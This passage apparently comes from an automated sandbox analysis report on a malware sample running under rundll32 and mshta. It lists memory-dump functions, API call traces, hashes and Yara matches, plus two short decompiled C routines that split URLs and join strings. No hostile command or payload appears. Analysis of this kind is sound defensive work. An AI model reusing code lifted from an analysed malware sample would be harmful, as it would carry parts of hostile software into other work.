                            • Part of subcall function 04CC3BAA: HeapFree.KERNEL32(00000000,00000000,?,00000000,00000000,?,?,04CB17D6,?,?,?,?,?,?,?), ref: 04CC3C8A
                          • HeapFree.KERNEL32(00000000,?), ref: 04CBA849
                          • HeapFree.KERNEL32(00000000,?), ref: 04CBA85A
                          • SetLastError.KERNEL32(00000000), ref: 04CBA85D
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$Free$AllocateErrorLastlstrlen$mbstowcswcstombs
                          • String ID:
                          • API String ID: 3867366388-0
                          • Opcode ID: 69f57424f59d91100312c9ef71dd8f9370b8ff164516698ff8cabb6fa00c0add
                          • Instruction ID: bd27cfc6440597fdd62b0533e7997d184d8e2ca78b5864761484d443f6fd1566
                          • Opcode Fuzzy Hash: 69f57424f59d91100312c9ef71dd8f9370b8ff164516698ff8cabb6fa00c0add
                          • Instruction Fuzzy Hash: EE311835900108FFCF029FA9D8448DEBFB6EF48314F14415AF995A2520D736AA51EF90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB174F Relevance: 5.1, APIs: 4, Instructions: 83memoryCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CCD698: lstrlen.KERNEL32(00000000,?,?,00000000,?,?,00000001,00000001,?,04CB1785,?,?,?,?,?), ref: 04CCD6F2
                            • Part of subcall function 04CCD698: lstrlen.KERNEL32(?,?,?,00000000,?,?,00000001,00000001,?,04CB1785,?,?,?,?,?), ref: 04CCD710
                            • Part of subcall function 04CCD698: RtlAllocateHeap.NTDLL(00000000,761B6985,?), ref: 04CCD73C
                            • Part of subcall function 04CCD698: memcpy.NTDLL(00000000,00000000,00000000,?,?,00000001,00000001,?,04CB1785,?,?,?,?,?), ref: 04CCD753
                            • Part of subcall function 04CCD698: HeapFree.KERNEL32(00000000,00000000), ref: 04CCD766
                            • Part of subcall function 04CCD698: memcpy.NTDLL(00000000,?,?,?,?,00000001,00000001,?,04CB1785,?,?,?,?,?), ref: 04CCD775
                          • GetLastError.KERNEL32 ref: 04CB17EE
                            • Part of subcall function 04CC3BAA: HeapFree.KERNEL32(00000000,00000000,00000000,?,00000000,?,00004000,00000001,00000001,00000000,00000000,00000000,00000000,?,?,00000000), ref: 04CC3C58
                            • Part of subcall function 04CC3BAA: HeapFree.KERNEL32(00000000,?,00000000,?,00000000,?,00004000,00000001,00000001,00000000,00000000,00000000,00000000,?,?,00000000), ref: 04CC3C7C
                            • Part of subcall function 04CC3BAA: HeapFree.KERNEL32(00000000,00000000,?,00000000,00000000,?,?,04CB17D6,?,?,?,?,?,?,?), ref: 04CC3C8A
                          • HeapFree.KERNEL32(00000000,?), ref: 04CB180A
                          • HeapFree.KERNEL32(00000000,?), ref: 04CB181B
                          • SetLastError.KERNEL32(00000000), ref: 04CB181E
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$Free$ErrorLastlstrlenmemcpy$Allocate
                          • String ID:
                          • API String ID: 2451549186-0
                          • Opcode ID: 780c110de2bb660049d2b5f1d91b91b51b54e1b3fe59b1aacc51d0816aa5da4e
                          • Instruction ID: fef207a4eed0769765b710ab0c77c7365a864e26561ea8595510794334b06673
                          • Opcode Fuzzy Hash: 780c110de2bb660049d2b5f1d91b91b51b54e1b3fe59b1aacc51d0816aa5da4e
                          • Instruction Fuzzy Hash: DA311836900108FFCF129FA9D8448DEBFB6FF48364F14415AF956A2120D736AA61EF90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB6FC7 Relevance: 5.1, APIs: 4, Instructions: 76COMMON
                          Download Yara Rule
                          APIs
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: memset
                          • String ID:
                          • API String ID: 2221118986-0
                          • Opcode ID: 8a24a2ee2f3b2a3fd51a4b4d460b1b216d5462e05e79c96670b6ab3ddecd280a
                          • Instruction ID: 4c0b552395c0223227ec9429271df998be929004a3ea5cad3186ac6f24a542f9
                          • Opcode Fuzzy Hash: 8a24a2ee2f3b2a3fd51a4b4d460b1b216d5462e05e79c96670b6ab3ddecd280a
                          • Instruction Fuzzy Hash: D7219FB2502D09BBDB215FA1EC84DA67B7AFF48305B04011AE98686C50DB32F5B1EFD1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBD429 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(00000000,00000008,00000000,00000000,?,?,04CCDD0F,00000000,00000000,00000004,00000000,?,04CBDBAC,?,?,00000000), ref: 04CBD435
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                            • Part of subcall function 04CD2DE3: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,04CBD463,00000000,00000001,00000001,?,?,04CCDD0F,00000000,00000000,00000004,00000000), ref: 04CD2DF1
                            • Part of subcall function 04CD2DE3: StrChrA.SHLWAPI(?,0000003F,?,?,04CCDD0F,00000000,00000000,00000004,00000000,?,04CBDBAC,?,?,00000000,04CB3EC6,?), ref: 04CD2DFB
                          • memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,04CCDD0F,00000000,00000000,00000004,00000000,?,04CBDBAC,?), ref: 04CBD493
                          • lstrcpy.KERNEL32(00000000,00000000), ref: 04CBD4A3
                          • lstrcpy.KERNEL32(00000000,00000000), ref: 04CBD4AF
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: lstrcpy$AllocateHeaplstrlenmemcpy
                          • String ID:
                          • API String ID: 3767559652-0
                          • Opcode ID: b6706baedb95d344520ca043f8dcef3991b0c7b92ca4c7ebf65f7ad689342d2a
                          • Instruction ID: 6dfe86607b5293d1609c15b4f6debd04ff35998752d3fb5be33940ee1e21dd9e
                          • Opcode Fuzzy Hash: b6706baedb95d344520ca043f8dcef3991b0c7b92ca4c7ebf65f7ad689342d2a
                          • Instruction Fuzzy Hash: 76217276504255BBDB12AF64CC84AEE7FAADF06294F048054F9469B201EB75FA40DBE0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C745C4 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON
                          Download Yara Rule
                          C-Code - Quality: 58%
                          			E04C745C4(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E04C76D63(_t2);
				if(_t34 != 0) {
					_t30 = E04C76D63(_t28);
					if(_t30 == 0) {
						E04C76C2C(_t34);
					} else {
						_t39 = _a4;
						_t22 = E04C77A57(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E04C77A57(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}














                          0x04c745c4
                          0x04c745ce
                          0x04c745d0
                          0x04c745d6
                          0x04c745d6
                          0x04c745df
                          0x04c745e3
                          0x04c745ef
                          0x04c745f3
                          0x04c74667
                          0x04c745f5
                          0x04c745f5
                          0x04c745f9
                          0x04c745fe
                          0x04c74603
                          0x04c7461d
                          0x04c7460c
                          0x04c7460c
                          0x04c74610
                          0x04c74613
                          0x04c74618
                          0x04c74618
                          0x04c74622
                          0x04c7464a
                          0x04c74650
                          0x04c74653
                          0x04c74624
                          0x04c74626
                          0x04c7462e
                          0x04c74639
                          0x04c7463e
                          0x04c7463e
                          0x04c7465a
                          0x04c74661
                          0x04c74662
                          0x04c74662
                          0x04c745f3
                          0x04c74672

                          APIs
                          • lstrlen.KERNEL32(00000000,00000008,?,761B4D40,?,?,04C76973,?,?,?,?,00000102,04C737A0,?,?,761F81D0), ref: 04C745D0
                            • Part of subcall function 04C76D63: RtlAllocateHeap.NTDLL(00000000,00000000,04C75D7B), ref: 04C76D6F
                            • Part of subcall function 04C77A57: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,04C745FE,00000000,00000001,00000001,?,?,04C76973,?,?,?,?,00000102), ref: 04C77A65
                            • Part of subcall function 04C77A57: StrChrA.SHLWAPI(?,0000003F,?,?,04C76973,?,?,?,?,00000102,04C737A0,?,?,761F81D0,00000000), ref: 04C77A6F
                          • memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,04C76973,?,?,?,?,00000102,04C737A0,?), ref: 04C7462E
                          • lstrcpy.KERNEL32(00000000,00000000), ref: 04C7463E
                          • lstrcpy.KERNEL32(00000000,00000000), ref: 04C7464A
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: lstrcpy$AllocateHeaplstrlenmemcpy
                          • String ID:
                          • API String ID: 3767559652-0
                          • Opcode ID: 6151ef22ed83a01c309a42fcd3681c7a41482eb7b05fcc5c9db893a38ea3525e
                          • Instruction ID: ce240b1e857419a7a5121a657e1115848bb69a5235c0ed62a87df55053ab63b5
                          • Opcode Fuzzy Hash: 6151ef22ed83a01c309a42fcd3681c7a41482eb7b05fcc5c9db893a38ea3525e
                          • Instruction Fuzzy Hash: E921E1B2600255FBDB126F74CC88EAB7FBAEF05394F058054F9059B201E735EA00DBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC5189 Relevance: 5.1, APIs: 4, Instructions: 64COMMON
                          Download Yara Rule
                          APIs
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: memset
                          • String ID:
                          • API String ID: 2221118986-0
                          • Opcode ID: 675587d73748d83cb1657c9497af44e6ba026aede7eedd5967ca4f42d02b1d89
                          • Instruction ID: d4dc90a8b887b5d53a55038cd96cd3370e9708d4ea1295c2ea888864718e03bf
                          • Opcode Fuzzy Hash: 675587d73748d83cb1657c9497af44e6ba026aede7eedd5967ca4f42d02b1d89
                          • Instruction Fuzzy Hash: 8F119172501929BBDB109FA1DC84E6777BAFF09304B05011CE94592810D772FAB19BE5
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C728C4 Relevance: 5.0, APIs: 4, Instructions: 39stringCOMMON
                          Download Yara Rule
                          C-Code - Quality: 100%
                          			E04C728C4(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E04C76D63(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}








                          0x04c728d9
                          0x04c728dd
                          0x04c728e7
                          0x04c728ec
                          0x04c728f1
                          0x04c728f3
                          0x04c728fb
                          0x04c72900
                          0x04c7290e
                          0x04c72913
                          0x04c7291d

                          APIs
                          • lstrlenW.KERNEL32(004F0053,?,761B5520,00000008,052493F4,?,04C721EB,004F0053,052493F4,?,?,?,?,?,?,04C766BE), ref: 04C728D4
                          • lstrlenW.KERNEL32(04C721EB,?,04C721EB,004F0053,052493F4,?,?,?,?,?,?,04C766BE), ref: 04C728DB
                            • Part of subcall function 04C76D63: RtlAllocateHeap.NTDLL(00000000,00000000,04C75D7B), ref: 04C76D6F
                          • memcpy.NTDLL(00000000,004F0053,761B69A0,?,?,04C721EB,004F0053,052493F4,?,?,?,?,?,?,04C766BE), ref: 04C728FB
                          • memcpy.NTDLL(761B69A0,04C721EB,00000002,00000000,004F0053,761B69A0,?,?,04C721EB,004F0053,052493F4), ref: 04C7290E
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: lstrlenmemcpy$AllocateHeap
                          • String ID:
                          • API String ID: 2411391700-0
                          • Opcode ID: 7437be46fdbe91c06933b4aac69361f94510d0fb31ce23cfe33d546dca2a268d
                          • Instruction ID: b7dc75e0c9392fb98453cabd2cc75fbafde9d548330ceb4ed8cf54efdd8ae83e
                          • Opcode Fuzzy Hash: 7437be46fdbe91c06933b4aac69361f94510d0fb31ce23cfe33d546dca2a268d
                          • Instruction Fuzzy Hash: C1F04976900119BB9F11EFA9CC84CCE7BADEF092987058062ED04D7211E675EA14EBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC8193 Relevance: 5.0, APIs: 4, Instructions: 38stringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(69B25F44,?,?,00000000,04CC5F22,00000000,00000000,?,00000000,69B25F44,?,?,?,?,?,69B25F44), ref: 04CC81A4
                          • lstrlen.KERNEL32(?,?,?,?), ref: 04CC81A9
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • memcpy.NTDLL(00000000,?,00000000,?,?,?,?), ref: 04CC81C5
                          • lstrcpy.KERNEL32(00000000,?), ref: 04CC81E3
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: lstrlen$AllocateHeaplstrcpymemcpy
                          • String ID:
                          • API String ID: 1697500751-0
                          • Opcode ID: 655c422429486e9fe902f8eabaa9e8c3c5449d9ec537ac15499b9871a3959e48
                          • Instruction ID: 77f5741e902276006413c53cdf078591672c718d2d209abdc14f9b48c3c4444b
                          • Opcode Fuzzy Hash: 655c422429486e9fe902f8eabaa9e8c3c5449d9ec537ac15499b9871a3959e48
                          • Instruction Fuzzy Hash: 58F0C87A400751BBDB2266599C48F5B7B99EF84212F090455E94483100D635E504C7B1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB8DC7 Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(060D8560,761B5520,761F81D0,7749EEF0,04CBE873,?), ref: 04CB8DD7
                          • lstrlen.KERNEL32(?), ref: 04CB8DDF
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • lstrcpy.KERNEL32(00000000,060D8560), ref: 04CB8DF3
                          • lstrcat.KERNEL32(00000000,?), ref: 04CB8DFE
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: lstrlen$AllocateHeaplstrcatlstrcpy
                          • String ID:
                          • API String ID: 74227042-0
                          • Opcode ID: 210341f364844faa39ba2c150b475451f9687bf965a9bef469f79ffcce165eca
                          • Instruction ID: 2b7c4b49b5738842f0af624c0798de8b67358d7449d5c36f530370309015212f
                          • Opcode Fuzzy Hash: 210341f364844faa39ba2c150b475451f9687bf965a9bef469f79ffcce165eca
                          • Instruction Fuzzy Hash: 5CE01A77902661AB8B11AFA8AC4CD9FBBADEF896657040816F600D3110CB79AD059BF1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C7393C Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(05249B68,00000000,00000000,00000000,04C75902,00000000), ref: 04C7394C
                          • lstrlen.KERNEL32(?), ref: 04C73954
                            • Part of subcall function 04C76D63: RtlAllocateHeap.NTDLL(00000000,00000000,04C75D7B), ref: 04C76D6F
                          • lstrcpy.KERNEL32(00000000,05249B68), ref: 04C73968
                          • lstrcat.KERNEL32(00000000,?), ref: 04C73973
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: lstrlen$AllocateHeaplstrcatlstrcpy
                          • String ID:
                          • API String ID: 74227042-0
                          • Opcode ID: 3012dd73834fac7f8fdfa67345139434bf0082de42b891c62e0944edc55ec41b
                          • Instruction ID: 57862ff1ce6b67d705c8c4d9f16cff5136c0741f1ce7857b903f7b71c172f3c3
                          • Opcode Fuzzy Hash: 3012dd73834fac7f8fdfa67345139434bf0082de42b891c62e0944edc55ec41b
                          • Instruction Fuzzy Hash: 95E092779016206797115BB4AC8CD9FBBBDEF8D761704041AFA00D3110C7799C01DBE1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Executed Functions

                          Function 000001CFDE0A0FB9 Relevance: .0, Instructions: 5COMMON
                          Download Yara Rule
                          Memory Dump Source
                          • Source File: 0000000D.00000003.409734274.000001CFDE0A0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000001CFDE0A0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_13_3_1cfde0a0000_mshta.jbxd
                          Similarity
                          • API ID:
                          • String ID:
                          • API String ID:
                          • Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
                          • Instruction ID: 02a119416ec8cd96565086c0682f854ee83b521532f1d395581de7b87a0e03d3
                          • Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
                          • Instruction Fuzzy Hash: 1A9004155D540F55F41415D10C4D7FD504173CC354FD4C4D44417F0544D44D43D7D153
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 000001CFDE0A0FC1 Relevance: .0, Instructions: 5COMMON
                          Download Yara Rule
                          Memory Dump Source
                          • Source File: 0000000D.00000003.409734274.000001CFDE0A0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000001CFDE0A0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_13_3_1cfde0a0000_mshta.jbxd
                          Similarity
                          • API ID:
                          • String ID:
                          • API String ID:
                          • Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
                          • Instruction ID: 02a119416ec8cd96565086c0682f854ee83b521532f1d395581de7b87a0e03d3
                          • Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
                          • Instruction Fuzzy Hash: 1A9004155D540F55F41415D10C4D7FD504173CC354FD4C4D44417F0544D44D43D7D153
                          Uniqueness

                          Uniqueness Score: -1.00%